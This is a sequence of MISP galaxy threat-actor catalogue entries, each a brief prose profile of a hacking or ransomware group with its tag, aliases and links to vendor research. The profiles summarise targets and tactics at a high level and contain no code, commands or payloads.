Water Orthrus is a threat actor known for distributing CopperStealer and CopperPhish malware. They target Microsoft 365 users with phishing campaigns to steal credit card information. The actor has evolved their malware to include rootkits for stealthy installations and has shifted their focus from personal information to cryptocurrency and credit card data. Water Orthrus has been linked to the Scranos campaign reported in 2019.

The tag is: *misp-galaxy:threat-actor="Water Orthrus"*

Table 18765. Table References

Links
https://www.trendmicro.com/en_us/research/23/e/water-orthrus-new-campaigns-deliver-rootkit-and-phishing-modules.html

Head Mare

Head Mare is a hacktivism focussed threat actor group known for targeting Russia and Belarus sectors using a remote access malware called PhantomRAT. They have been observed executing

malicious code through specially crafted RAR archives, different from previous attacks exploiting vulnerabilities. The attribution of their campaign to Ukraine is uncertain due to limited visibility inside Russian networks. PhantomCore's use of RAR archives in their attack chain has been previously observed in other threat actor groups like Forest Blizzard.

The tag is: *misp-galaxy:threat-actor="Head Mare"*

Table 18766. Table References

Links
https://therecord.media/russian-researchers-winrar-bug-ukraine-espionage
https://www.facct.ru/blog/phantomdl-loader
https://securelist.com/head-mare-hacktivists/113555/
https://cyble.com/blog/head-mare-deploys-phantomcore-against-russia/

CiberInteligenciaSV

CiberInteligenciaSV is a threat actor that leaked 5.1 million Salvadoran records on Breach Forums. They have also compromised El Salvador's state Bitcoin wallet, Chivo, leaking its source code and VPN credentials. The group aims to obscure their involvement by associating with the Guacamaya group and its proxies.

The tag is: *misp-galaxy:threat-actor="CiberInteligenciaSV"*

Table 18767. Table References

Links
https://securityaffairs.com/162790/data-breach/el-salvador-massive-leak-biometric-data.html
https://www.cysecurity.news/2024/04/cryptocurrency-chaos-el-salvadors.html

Void Manticore

Void Manticore is an Iranian APT group affiliated with MOIS, known for conducting destructive wiping attacks and influence operations. They collaborate with Scarred Manticore, sharing targets and conducting disruptive operations using custom wipers. Void Manticore's TTPs involve manual file deletion, lateral movement via RDP, and the deployment of custom wipers like the BiBi wiper. The group utilizes online personas like 'Karma' and 'Homeland Justice' to leak information and amplify the impact of their attacks.

The tag is: *misp-galaxy:threat-actor="Void Manticore"*

Table 18768. Table References

Links
https://research.checkpoint.com/2024/bad-karma-no-justice-void-manticore-destructive-activities-in-israel/

Alpha Spider

ALPHA SPIDER is a threat actor known for developing and operating the Alphv ransomware as a service. They have been observed using novel offensive techniques, such as exploiting software vulnerabilities and leveraging legitimate administration tools for malicious activities. ALPHA SPIDER affiliates have demonstrated persistence in exfiltrating data and have shown the ability to bypass security measures like DNS-based filtering and multifactor authentication. Despite lacking specific operational security measures, defenders have opportunities to detect and respond to ALPHA SPIDER's operations effectively.

The tag is: *misp-galaxy:threat-actor="Alpha Spider"*

Alpha Spider is also known as:

- ALPHV Ransomware Group

View relationships graph

Alpha Spider has relationships with:

- similar: misp-galaxy:threat-actor="Velvet Tempest" with estimative-language:likelihood-probability="likely"

Table 18769. Table References

Links
https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/

RansomHub

RansomHub is a rapidly growing ransomware group believed to be an updated version of the older Knight ransomware. They have been linked to attacks exploiting the Zerologon vulnerability to gain initial access. RansomHub has attracted former affiliates of the ALPHV ransomware group and operates as a Ransomware-as-a-Service with a unique affiliate prepayment model. The group has been active in extorting victims and leaking sensitive data to pressure for ransom payments.

The tag is: *misp-galaxy:threat-actor="RansomHub"*

Table 18770. Table References

Links
https://symantec-enterprise-blogs.security.com/threat-intelligence/ransomhub-knight-ransomware
https://forescoutstage.wpengine.com/blog/analysis-a-new-ransomware-group-emerges-from-the-change-healthcare-cyber-attack/
https://www.sentinelone.com/blog/ransomware-evolution-how-cheated-affiliates-are-recycling-victim-data-for-profit/

Unfading Sea Haze

Unfading Sea Haze is a threat actor focused on espionage, targeting government and military organizations in the South China Sea region since 2018. They employ spear-phishing emails with malicious attachments to gain initial access, followed by the deployment of custom malware such as Gh0st RAT variants and SharpJSHandler. The group utilizes scheduled tasks and manipulates local administrator accounts for persistence, while also incorporating Remote Monitoring and Management tools into their attacks. Unfading Sea Haze demonstrates a sophisticated and patient approach, remaining undetected for years and showing adaptability through evolving exfiltration tactics and malware arsenal.

The tag is: *misp-galaxy:threat-actor="Unfading Sea Haze"*

Table 18771. Table References

Links
https://www.securityweek.com/newly-detected-chinese-group-targeting-military-government-entities/
https://www.bleepingcomputer.com/news/security/unfading-sea-haze-hackers-hide-on-military-and-govt-networks-for-6-years/

StucxTeam

Stucx is a threat actor known for targeting Israeli systems, including SCADA systems and the Red Alert missile protection system. Stucx Team has also developed a mobile application called MyOPECS for coordinating attacks, which includes features like DDoS attacks and is expected to add more capabilities in the future. Additionally, they have been observed using VPNs and proxy software to conceal their activities and have a history of making threats against those who cooperate with Israel.

The tag is: *misp-galaxy:threat-actor="StucxTeam"*

Table 18772. Table References

Links
https://socradar.io/reflections-of-the-israel-palestine-conflict-on-the-cyber-world/
https://www.darkowl.com/blog-content/2-month-review-of-cyber-activities-in-the-israel-hamas-conflict/

FlyingYeti

FlyingYeti is a Russia-aligned threat actor targeting Ukrainian military entities. They conduct reconnaissance activities and launch phishing campaigns using malware like COOKBOX. FlyingYeti exploits the WinRAR vulnerability CVE-2023-38831 to infect targets with malicious payloads. Cloudforce One has successfully disrupted their operations and provided recommendations for defense against their phishing campaigns.

The tag is: *misp-galaxy:threat-actor="FlyingYeti"*

FlyingYeti is also known as:

- Storm-1837
- Flying Yeti

Table 18773. Table References

Links
https://blog.cloudflare.com/disrupting-flyingyeti-campaign-targeting-ukraine
https://www.microsoft.com/en-us/security/blog/2024/12/11/frequent-freeloader-part-ii-russian-actor-secret-blizzard-using-tools-of-other-groups-to-attack-ukraine/
https://www.cloudflare.com/threat-intelligence/research/report/disrupting-flyingyetis-campaign-targeting-ukrainev/

SEXi

SEXi is a ransomware group that targets VMware ESXi servers, encrypting data and demanding ransom payments. They have been observed encrypting virtual machines and backups, causing significant disruptions to services. The group's name is a play on the word "ESXi," indicating a deliberate focus on these systems. SEXi has been linked to other ransomware variants based on the Babuk source code.

The tag is: *misp-galaxy:threat-actor="SEXi"*

Table 18774. Table References

Links
https://www.cybersecurity-insiders.com/proven-data-restores-powerhosts-vmware-backups-after-sexi-ransomware-attack/
https://heimdalsecurity.com/blog/powerhosts-esxi-servers-encrypted-with-new-sexi-ransomware/
https://www.darkreading.com/threat-intelligence/sexi-ransomware-desires-vmware-hypervisors

LilacSquid

LilacSquid is an APT actor targeting a variety of industries worldwide since at least 2021. They use tactics such as exploiting vulnerabilities and compromised RDP credentials to gain access to victim organizations. Their post-compromise activities involve deploying MeshAgent and a customized version of QuasarRAT known as PurpleInk to maintain control over infected systems. LilacSquid has been observed using tools like Secure Socket Funneling for data exfiltration.

The tag is: *misp-galaxy:threat-actor="LilacSquid"*

Table 18775. Table References

Links

https://blog.talosintelligence.com/lilacsquid/

Hunt3r Kill3rs

Hunt3r Kill3rs is a newly emerged threat group claiming expertise in cyber operations, including ICS breaches and web application vulnerabilities exploitation. They have discussed using Java fuzzing in their exploits and have made unverified claims of joint attacks with other threat actors.

The tag is: *misp-galaxy:threat-actor="Hunt3r Kill3rs"*

Table 18776. Table References

Links
https://socradar.io/dark-web-profile-hunt3r-kill3rs/

UTG-Q-008

UTG-Q-008 is a threat actor targeting Linux platforms, primarily focusing on government and enterprise entities in China. They utilize a massive botnet network for espionage activities, including reconnaissance, brute-forcing, and Trojan component delivery. The actor has a history of compromising thousands of servers in China using a password dictionary based on Chinese Pinyin. UTG-Q-008 operates during standard working hours in the UTC+8 time zone, with potential ties to Eastern Europe.

The tag is: *misp-galaxy:threat-actor="UTG-Q-008"*

Table 18777. Table References

Links
https://ti.qianxin.com/blog/articles/Operation-Veles-Decade-Long-Espionage-Targeting-the-Global-Research-and-Education-Sector-EN/

Gitloker

Gitloker is a threat actor group targeting GitHub repositories, wiping their contents, and extorting victims for their data. They use stolen credentials to compromise accounts, claim to have created a backup, and instruct victims to contact them on Telegram. The attackers leave a ransom note in the form of a README file, urging victims to negotiate the return of their data. GitHub is working to combat these evolving attacks and the vulnerabilities they exploit.

The tag is: *misp-galaxy:threat-actor="Gitloker"*

Table 18778. Table References

Links
https://www.itsecurityguru.org/2024/06/13/guest-blog-proactive-application-security-learning-from-the-recent-github-extortion-campaigns/

https://www.bleepingcomputer.com/news/security/new-gitloker-attacks-wipe-github-repos-in-extortion-scheme/

UNC5537

UNC5537 is a financially motivated threat actor targeting Snowflake customer databases. They use stolen credentials obtained from infostealer malware to access and exfiltrate large volumes of data. The compromised accounts lack multi-factor authentication, allowing UNC5537 to conduct data theft and extortion.

The tag is: *misp-galaxy:threat-actor="UNC5537"*

Table 18779. Table References

Links
https://research.checkpoint.com/2024/17th-june-threat-intelligence-report/
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion

Sp1d3r

Sp1d3r, a threat actor, has been involved in multiple data breaches targeting companies like Truist Bank, Cylance, and Advance Auto Parts. They have stolen and attempted to sell sensitive information, including customer and employee emails, account numbers, and source code. Sp1d3r has also claimed to have obtained data from a third-party platform and a cloud storage vendor. They have utilized hacking forums to sell the stolen data for significant sums of money.

The tag is: *misp-galaxy:threat-actor="Sp1d3r"*

Table 18780. Table References

Links
https://www.cysecurity.news/2024/06/truist-bank-confirms-data-breach-after.html
https://research.checkpoint.com/2024/17th-june-threat-intelligence-report/

TA571

TA571 is a spam distributor actor known for delivering a variety of malware, including DarkGate, NetSupport RAT, and information stealers. They use phishing emails with macro-enabled attachments to spread malicious PDFs containing rogue OneDrive links. TA571 has been observed using unique filtering techniques with intermediary "gates" to target specific users and bypass automated sandboxing. Proofpoint assesses with high confidence that TA571 infections can lead to ransomware.

The tag is: *misp-galaxy:threat-actor="TA571"*

Table 18781. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn

Bondnet

Bondnet is a threat actor that deploys backdoors and cryptocurrency miners. They use high-performance bots as C2 servers and configure reverse RDP environments on compromised systems. Bondnet has infected over 15,000 Windows server machines worldwide, primarily targeting Windows Server 2008 R2 systems. The botnet is used for mining cryptocurrencies like Monero, ByteCoin, RieCoin, and ZCash, potentially earning the operator thousands of dollars per day.

The tag is: *misp-galaxy:threat-actor="Bondnet"*

Table 18782. Table References

Links
https://asec.ahnlab.com/en/66662/
https://www.akamai.com/blog/security/the-bondnet-army
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/

UAC-0020

Vermin is a threat actor group linked to the Luhansk People's Republic and believed to be acting on behalf of the Kremlin. They have targeted Ukrainian government infrastructure using malware like Spectr and legitimate tools like SyncThing for data exfiltration. Vermin has been active since at least 2018, using custom-made RATs like Vermin and open-source tools like Quasar for cyber-espionage. The group has resurfaced after periods of inactivity to conduct espionage operations against Ukraine's military and defense sectors.

The tag is: *misp-galaxy:threat-actor="UAC-0020"*

UAC-0020 is also known as:

- Vermin
- SickSync

Table 18783. Table References

Links
https://socprime.com/blog/vermin-uac-0020-hacking-collective-hits-ukrainian-government-and-military-with-spectr-malware/
https://therecord.media/russian-vermin-hackers-target-ukraine
https://cert.gov.ua/article/6279600

Void Arachne

Void Arachne is a threat actor group targeting Chinese-speaking users with malicious MSI files containing legitimate software installers for AI software. They exploit public interest in VPN technology and AI software to distribute malware through SEO poisoning and Chinese-language-themed Telegram channels. The group's campaign includes bundling malicious Winos payloads with deepfake pornography-generating AI software and voice-and-face-swapping AI software. Void Arachne also promotes AI technologies for virtual kidnapping and uses AI voice-alternating technology to pressure victims into paying ransom.

The tag is: *misp-galaxy:threat-actor="Void Arachne"*

Void Arachne is also known as:

- Silver Fox

Table 18784. Table References

Links
https://www.trendmicro.com/en_us/research/24/f/behind-the-great-wall-void-arachne-targets-chinese-speaking-user.html

Markopolo

Markopolo is a threat actor known for running scams targeting cryptocurrency users through a fake app called Vortax. They use social media and a dedicated blog to legitimize their malicious activities. Markopolo has been linked to a credential-harvesting operation and is agile in pivoting to new scams when detected. The actor leverages shared hosting and C2 infrastructure for their malicious builds.

The tag is: *misp-galaxy:threat-actor="Markopolo"*

Table 18785. Table References

Links
https://www.darkreading.com/remote-workforce/vortax-meeting-software-branding-spreads-infostealers
https://www.recordedfuture.com/the-travels-of-markopolo-self-proclaimed-meeting-software-vortax-spreads-infostealers

Adrastea

Adrastea is a threat actor who has been active on cybercrime forums, claiming to have breached organizations like MBDA and offering stolen data for sale. They describe themselves as a group of independent cybersecurity experts and researchers. Adrastea has been linked to ransomware operations, data leak platforms, and network access groups. The actor has been known to exploit critical vulnerabilities in target organizations' infrastructure to gain access to sensitive data.

The tag is: *misp-galaxy:threat-actor="Adrastea"*

Table 18786. Table References

Links
https://www.cysecurity.news/2022/11/missile-supplier-mbda-breach-disclosed.html
https://www.itsecurityguru.org/2022/09/14/documents-for-sale-on-the-dark-web/
https://cybershafarat.com/2022/07/31/adrastea-hackers-claim-leading-european-designer-and-manufacturer-of-missile-systems-mbda-hacked/
https://securityaffairs.co/wordpress/133881/data-breach/mbda-alleged-data-breach.html

JuiceLedger

JuiceLedger is a threat actor known for infostealing through their JuiceStealer .NET assembly. They have evolved from spreading fraudulent applications to conducting supply chain attacks, targeting PyPI contributors with phishing campaigns and typosquatting. Their malicious packages contain a code snippet that downloads and executes JuiceStealer, which has evolved to support additional browsers and Discord. Victims of JuiceLedger attacks are advised to reset passwords and report any suspicious activity to security@pypi.org.

The tag is: *misp-galaxy:threat-actor="JuiceLedger"*

Table 18787. Table References

Links
https://www.sentinelone.com/labs/pypi-phishing-campaign-juiceledger-threat-actor-pivots-from-fake-apps-to-supply-chain-attacks/

RedJuliett

RedJuliett is a likely Chinese state-sponsored threat actor targeting government, academic, technology, and diplomatic organizations in Taiwan. They exploit vulnerabilities in network edge devices for initial access and use SQL injection and directory traversal exploits against web and SQL applications. The group operates from Fuzhou, China, and aims to support Beijing's intelligence collection on Taiwan's economic and diplomatic relations. RedJuliett has also expanded its operations to compromise organizations in other countries such as Hong Kong, Malaysia, and the United States.

The tag is: *misp-galaxy:threat-actor="RedJuliett"*

Table 18788. Table References

Links
https://www.recordedfuture.com/redjuliett-intensifies-taiwanese-cyber-espionage-via-network-perimeter

SneakyChef

SneakyChef is a threat actor known for using the SugarGh0st RAT to target government agencies, research institutions, and organizations worldwide. They have been active since at least August 2023, with a focus on leveraging old and new command and control domains. The group has been observed using lures in the form of scanned documents related to Ministries of Foreign Affairs and embassies. Talos Intelligence assesses with medium confidence that the operators are likely Chinese-speaking based on language preferences and specific targets.

The tag is: *misp-galaxy:threat-actor="SneakyChef"*

Table 18789. Table References

Links
https://blog.talosintelligence.com/sneakychef-sugarghost-rat/

ALTDOS

ALTDOS is a threat actor group that has targeted entities in Southeast Asia, including Singapore, Thailand, and Malaysia. They have been involved in data breaches of companies in various sectors, such as real estate and retail, compromising sensitive information like customer names, bank account numbers, and transaction details. ALTDOS uses tactics like ransomware attacks, data exfiltration, and dumping data publicly or for sale on underground forums. The group has been known to demand ransom payments from victims, but also leaks data if demands are not met.

The tag is: *misp-galaxy:threat-actor="ALTDOS"*

Table 18790. Table References

Links
https://www.databreaches.net/singapore-corporations-making-progress-in-preventing-cyberattacks/
https://www.databreaches.net/altdos-claims-to-have-hacked-one-of-malaysias-biggest-conglomerates/
https://www.databreaches.net/advisories-are-published-but-are-enough-entities-reading-them-and-taking-precautions/
https://www.databreaches.net/singapore-real-estate-firm-breached-by-altdos/
https://www.databreaches.net/sg-vhive-alerts-consumers-to-cyberattack/
https://www.databreaches.net/sg-vhive-attackers-escalate-take-control-of-furniture-retailers-email-server/

BlueHornet

BlueHornet is an advanced persistent threat group targeting government organizations in China, North Korea, Iran, and Russia. They have compromised and leaked data from other APT groups like Kryptonite Panda and Lazarus Group. BlueHornet has been involved in campaigns such as

Operation Renminbi, Operation Ruble, and Operation EUSec, focusing on exfiltrating region-specific data and selling it on the dark web. They have also been known to collaborate with different threat actors and have recently disclosed a zero-day exploit in NGINX 1.18.

The tag is: *misp-galaxy:threat-actor="BlueHornet"*

BlueHornet is also known as:

- APT49
- AgainstTheWest

Table 18791. Table References

Links
https://cyberint.com/blog/research/bluehornet-one-apt-to-terrorize-them-all/
https://www.mandiant.com/resources/blog/killnet-new-capabilities-older-tactics
https://www.csoonline.com/article/3684668/cyberattacks-against-governments-jumped-95-in-last-half-of-2022-cloudsek-says.html

HellHounds

Hellhounds is an APT group targeting organizations in Russia, using a modified version of Pupy RAT called Decoy Dog. They gain initial access through vulnerable web services and trusted relationships, with a focus on the public sector and IT companies. The group has been active since at least 2019, maintaining covert presence inside compromised organizations by modifying open-source projects to evade detection. Hellhounds have successfully targeted at least 48 victims, including a telecom operator where they disrupted services.

The tag is: *misp-galaxy:threat-actor="HellHounds"*

Table 18792. Table References

Links
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat-part-2/
https://ics-cert.kaspersky.com/publications/reports/2024/04/02/apt-and-financial-attacks-on-industrial-organizations-in-h2-2023/

IntelBroker

IntelBroker is a threat actor known for orchestrating high-profile data breaches targeting companies like Apple, Zscaler, and Facebook Marketplace. They have a reputation for selling access to compromised systems and data on underground forums like BreachForums. IntelBroker has claimed responsibility for breaches involving government agencies such as Europol, the U.S. Department of Transportation, and the Pentagon, leaking sensitive information and classified documents. The actor has been linked to breaches at companies like Acuity, General Electric, and Home Depot, showcasing a pattern of targeting critical infrastructure and major corporations.

The tag is: *misp-galaxy:threat-actor="IntelBroker"*

Table 18793. Table References

Links
https://www.cysecurity.news/2024/06/infamous-hacker-intelbroker-breaches.html
https://www.malwarebytes.com/blog/news/2024/06/was-t-mobile-compromised-by-a-zero-day-in-jira
https://securityaffairs.com/164263/cyber-crime/pandabuy-extorted-again.html
https://meterpreter.org/cybersecurity-firm-hacked-sensitive-data-on-sale/

Dragonbridge

DRAGONBRIDGE is a Chinese state-sponsored threat actor known for engaging in information operations to promote the political interests of the People's Republic of China. They have been observed using AI-generated images and videos to spread propaganda on social media platforms. The group has targeted various countries and regions, including the US, Taiwan, and Japan, with narratives promoting pro-PRC viewpoints. DRAGONBRIDGE has been linked to campaigns discrediting the US political system, sowing division between allies, and criticizing specific companies and individuals.

The tag is: *misp-galaxy:threat-actor="Dragonbridge"*

Dragonbridge is also known as:

- Spamouflage Dragon

Table 18794. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/prc-dragonbridge-influence-elections/
https://quointelligence.eu/2024/06/european-election-at-risk-analysis/
https://blog.google/threat-analysis-group/over-50000-instances-of-dragonbridge-activity-disrupted-in-2022/

Boolka

Boolka is a threat actor known for infecting websites with malicious JavaScript scripts for data exfiltration. They have been carrying out opportunistic SQL injection attacks since at least 2022. Boolka has developed a malware delivery platform based on the BeEF framework and has been distributing the BMANAGER trojan. Their activities demonstrate a progression from basic website infections to more sophisticated malware operations.

The tag is: *misp-galaxy:threat-actor="Boolka"*

Table 18795. Table References

Links
https://www.group-ib.com/blog/boolka/

CloudSorcerer

CloudSorcerer is a sophisticated APT targeting Russian government entities, utilizing cloud infrastructure for stealth monitoring and data exfiltration. The malware leverages APIs and authentication tokens to access cloud resources for command and control, with GitHub serving as its initial C2 server. CloudSorcerer operates as separate modules depending on the process it's running in, executing from a single executable and utilizing complex inter-process communication through Windows pipes. The actor behind CloudSorcerer shows similarities to the CloudWizard APT in modus operandi, but the unique code and functionality suggest it is a new threat actor inspired by previous techniques.

The tag is: *misp-galaxy:threat-actor="CloudSorcerer"*

Table 18796. Table References

Links
https://securelist.com/cloudsorcerer-new-apt-cloud-actor/113056/

Water Sigbin

The 8220 Gang, also known as Water Sigbin, is a threat actor group that focuses on deploying cryptocurrency-mining malware. They exploit vulnerabilities in Oracle WebLogic servers, such as CVE-2017-3506 and CVE-2023-21839, to deliver cryptocurrency miners using PowerShell scripts. The group has demonstrated a sophisticated multistage loading technique to deploy the PureCrypter loader and XMRIG crypto miner. They are known for using obfuscation techniques, such as hexadecimal encoding and code obfuscation, to evade detection and compromise systems.

The tag is: *misp-galaxy:threat-actor="Water Sigbin"*

Water Sigbin is also known as:

- 8220 Gang

Table 18797. Table References

Links
https://www.trendmicro.com/en_us/research/24/f/water-sigbin-xmrig.html
https://www.trendmicro.com/en_us/research/24/e/decoding-8220-latest-obfuscation-tricks.html
https://www.uptycs.com/blog/8220-gang-cryptomining-cloud-based-infrastructure-cyber-threat
https://www.imperva.com/blog/imperva-detects-undocumented-8220-gang-activities/
https://asec.ahnlab.com/en/51568/
https://www.trendmicro.com/en_us/research/23/e/8220-gang-evolution-new-strategies-adapted.html

https://blog.aquasec.com/8220-gang-confluence-vulnerability-cve-2022-26134
https://www.sentinelone.com/blog/from-the-front-lines-8220-gang-massively-expands-cloud-botnet-to-30000-infected-hosts/

Void Banshee

Void Banshee is an APT group targeting North America, Europe, and Southeast Asia for information theft and financial gain. They exploit vulnerabilities like CVE-2024-38112 to deliver the Atlantida info-stealer through malicious PDFs disguised as book files. The group uses internet shortcuts with MHTML protocol handlers to access and execute files through disabled Internet Explorer, posing a significant threat to organizations. Void Banshee's TTPs include crafting URL strings to control window sizes in IE and using HTML files to hide malicious downloads from victims.

The tag is: *misp-galaxy:threat-actor="Void Banshee"*

Table 18798. Table References

Links
https://www.trendmicro.com/en_us/research/24/g/CVE-2024-38112-void-banshee.html

CRYSTALRAY

CRYSTALRAY is a threat actor known for leveraging open source tools like zmap and SSH-Snake to conduct widespread vulnerability scanning and exploitation. They target victims to collect and sell credentials, deploy cryptominers, and maintain persistence in compromised environments. CRYSTALRAY uses multiple backdoors to control access and spreads through victim networks using SSH-Snake. The actor also uses tools like Platypus for managing victims and extracting sensitive information from compromised systems.

The tag is: *misp-galaxy:threat-actor="CRYSTALRAY"*

Table 18799. Table References

Links
https://sysdig.com/blog/crystalray-rising-threat-actor-exploiting-oss-tools/

Lifting Zmiy

Rostelecom's security team has discovered a new APT group that is breaching companies via industrial PLCs. Named Lifting Zmiy, the group's first attacks were traced back to October 2023. The group targeted PLCs from Russian company Tech-Automatics usually used with elevators and which were still using their default passwords. Rostelecom has linked the group to intrusions at a Russian government contractor, two telecom operators, and an IT company. The company says the group collected and exfiltrated data and then destroyed the victim's infrastructure. Rostelecom says Lifting Zmiy uses Starlink infrastructure for attacks and appears to operate out of Eastern Europe.

The tag is: *misp-galaxy:threat-actor="Lifting Zmiy"*

Table 18800. Table References

Links
https://rt-solar.ru/solar-4rays/blog/4506/
https://news.risky.biz/risky-biz-news-us-takes-down-rts-twitter-bot-farm/

Nullbulge

NullBulge is a cybercriminal threat group targeting AI and gaming focused entities. They weaponize code in publicly available repositories to distribute malware, including LockBit ransomware. The group claims to be motivated by a pro-art, anti-AI cause, but their activities indicate a financial focus. NullBulge uses obfuscated code in public repositories and malicious mods to target their victims.

The tag is: *misp-galaxy:threat-actor="Nullbulge"*

Table 18801. Table References

Links
https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/

Threat Actor 888

Threat actor 888 is a hacker active in 2024, targeting companies for data breaches. They’ve hit Microsoft, BMW (Hong Kong), and others in tech, freight, and oil & gas industries

The tag is: *misp-galaxy:threat-actor="Threat Actor 888"*

Table 18802. Table References

Links
https://cybersecuritynews.com/threats-claimimg-breach/
https://www.cloudways.com/blog/hacker-allegedly-leaks-data-from-shopify-breach-on-breachforums/
https://twitter.com/H4ckManac/status/1810569160180515171
https://medium.com/@DoingFedTime/80-000-records-exposed-in-shell-data-breach-by-threat-actor-888-64c407dfac94

UAC-0063

UAC-0063 is a threat actor linked to Russian APT28, known for targeting government entities in Ukraine and Central Asia for cyber espionage operations. They utilize keyloggers, backdoors, and malware like Hatvibe and Cherryspy to compromise systems and exfiltrate sensitive information. The group has been active since at least 2021 and has shown interest in targeting organizations in Mongolia, Kazakhstan, Kyrgyzstan, Israel, and India. Their TTPs include spear-phishing campaigns

and exploiting vulnerabilities in software products like HFS HTTP File Server and Rejetto file-sharing servers.

The tag is: *misp-galaxy:threat-actor="UAC-0063"*

Table 18803. Table References

Links
https://socprime.com/blog/uac-0063-attack-detection-hackers-target-ukrainian-research-institutions-using-hatvibe-cherryspy-and-cve-2024-23692/
https://cert.gov.ua/article/4697016

Stargazer Goblin

Stargazer Goblin is a threat actor group that operates the Stargazers Ghost Network on GitHub, distributing malware and malicious links through multiple accounts. They utilize compromised and created accounts to evade detection and quickly replace banned components to continue their operations. The group has been estimated to have earned approximately $100,000 from their malicious activities, offering a Distribution as a Service platform for other threat actors to distribute their malware. Stargazer Goblin has been involved in distributing various malware families, including Atlantida Stealer, Rhadamanthys, RisePro, Lumma Stealer, and RedLine.

The tag is: *misp-galaxy:threat-actor="Stargazer Goblin"*

Table 18804. Table References

Links
https://research.checkpoint.com/2024/stargazers-ghost-network/

UAC-0102

UAC-0102 is a threat actor group targeting UKR.NET users through phishing attacks. They distribute emails with HTML file attachments that redirect users to a fraudulent website to steal authentication data. Security teams can use Sigma rules to detect their phishing campaigns and leverage IOCs provided by CERT-UA to hunt for their activity in SIEM or EDR environments.

The tag is: *misp-galaxy:threat-actor="UAC-0102"*

Table 18805. Table References

Links
https://socprime.com/blog/uac-0102-phishing-attack-detection-hackers-steal-authentication-data-impersonating-the-ukr-net-web-service/
https://cert.gov.ua/article/4928679

APT45

APT45 is a North Korean cyber threat actor that has been active since at least 2009. They have conducted espionage campaigns targeting government agencies and defense industries, as well as financially-motivated operations, including ransomware development. APT45 has targeted critical infrastructure, financial organizations, nuclear research facilities, and healthcare and pharmaceutical companies. They use a mix of publicly available tools, modified malware, and custom malware families in their operations.

The tag is: *misp-galaxy:threat-actor="APT45"*

Table 18806. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt45-north-korea-digital-military-machine

TA4903

TA4903 is a financially motivated threat actor known for conducting credential phishing and business email compromise campaigns. They target organizations in the U.S. across various sectors, spoofing government entities and private businesses. The actor has been observed using techniques such as QR codes in phishing campaigns and spoofing supplier domains to prompt victims to provide banking information. TA4903's activities typically involve stealing corporate credentials to facilitate follow-on BEC activities.

The tag is: *misp-galaxy:threat-actor="TA4903"*

Table 18807. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/ta4903-actor-spoofs-us-government-small-businesses-phishing-bec-bids

Storm-0506

Storm-0506 (DEV-0506) is a financially motivated cybercriminal group operating as a core affiliate within the Black Basta ransomware-as-a-service (RaaS) ecosystem, having switched from deploying Conti ransomware around April 2022. This actor's operational model is distinguished by its strategic reliance on a dynamic network of initial access brokers, showcasing a division of labor common in RaaS operations. Throughout its history, Storm-0506 has leveraged access obtained through various brokers: initially Storm-0450/0464 via Qakbot infections (pre-September 2023), then expanding to include Storm-1674 delivering DarkGate, Pikabot, and IcedID (September 2023), and later employing Storm-1674's Microsoft Teams vishing campaigns (October 2024) and Storm-0569's SEO poisoning leading to BATLOADER and Cobalt Strike (December 2023). Following successful initial compromise, Storm-0506 employs a range of post-exploitation tools, including Cobalt Strike Beacon, SystemBC, and Brute Ratel C4 backdoors, and notably, often utilizes command-and-control (C2) infrastructure established by Storm-0365, indicating close collaboration or shared resources. This actor is characterized by hands-on-keyboard activity, culminating in the

deployment of Black Basta ransomware. A resurgence in activity observed in October 2024, directly linked to Storm-1674's vishing, underscores the ongoing and adaptive threat that Storm-0506 represents within the ransomware landscape.

The tag is: *misp-galaxy:threat-actor="Storm-0506"*

Table 18808. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/
https://www.microsoft.com/en-us/security/blog/2023/12/28/financially-motivated-threat-actors-misusing-app-installer/
https://youtu.be/U7p0J8aMZhM?t=193
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Python/CVE-2024-1709.A!dha&ThreatID=2147903327
https://x.com/MsftSecIntel/status/1849518751080644921

SAMBASPIDER

SAMBASPIDER is a threat actor associated to the Mispadu malware. On July 24, USDoD allegedly scraped and leaked a 100,000-line Indicator of Compromise list from CrowdStrike, revealing detailed threat intelligence data. The leak, posted on Breach Forums, includes critical insights into the Mispadu malware and SAMBASPIDER threat actor.

The tag is: *misp-galaxy:threat-actor="SAMBASPIDER"*

Table 18809. Table References

Links
https://hackread.com/hacker-scrapes-publishes-crowdstrike-ioc-list/
https://www.crowdstrike.com/blog/hacktivist-usdod-claims-to-have-leaked-threat-actor-list/

UNC4393

UNC4393 is a financially motivated threat actor primarily using BASTA ransomware. They have been active since early 2022 and have targeted over 40 organizations across various industries. UNC4393 has shown a willingness to cooperate with other threat clusters for initial access and has evolved from using existing tools to developing custom malware. They focus on efficient data exfiltration and multi-faceted extortion, often utilizing tools like COGSCAN and RCLONE for reconnaissance and data theft.

The tag is: *misp-galaxy:threat-actor="UNC4393"*

UNC4393 is also known as:

- Storm-1811

- CURLY SPIDER
- STAC5777
- Cardinal

Table 18810. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight
https://www.security.com/threat-intelligence/black-basta-ransomware-zero-day
https://cloud.google.com/blog/topics/threat-intelligence/detecting-disrupting-malvertising-backdoors/
https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/
https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/
https://www.esentire.com/security-advisories/ongoing-email-bombing-campaigns-leading-to-remote-access-and-post-exploitation
https://redcanary.com/blog/threat-intelligence/storm-1811-black-basta/
https://redcanary.com/blog/threat-intelligence/intelligence-insights-june-2024/
https://x.com/MsftSecIntel/status/1881751635598139714
